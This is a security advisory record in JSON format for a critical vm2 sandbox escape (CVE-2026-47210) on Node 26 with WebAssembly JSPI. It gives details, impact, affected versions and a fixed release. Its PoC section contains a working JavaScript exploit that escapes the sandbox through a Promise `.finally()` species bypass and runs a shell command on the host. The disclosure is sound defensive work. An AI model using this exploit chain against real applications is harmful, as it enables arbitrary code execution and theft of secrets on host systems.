{"id":"GHSA-6j2x-vhqr-qr7q","summary":"vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass","details":"### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`'s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor('return process')()\n    P.mainModule.require('child_process').execSync('touch pwned');\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation","aliases":["CVE-2026-47210"],"modified":"2026-06-12T21:00:09.209121556Z","published":"2026-05-29T17:51:05Z","database_specific":{"cwe_ids":["CWE-913"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-29T17:51:05Z","nvd_published_at":"2026-06-12T15:16:29Z"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47210"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.11.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6j2x-vhqr-qr7q/GHSA-6j2x-vhqr-qr7q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}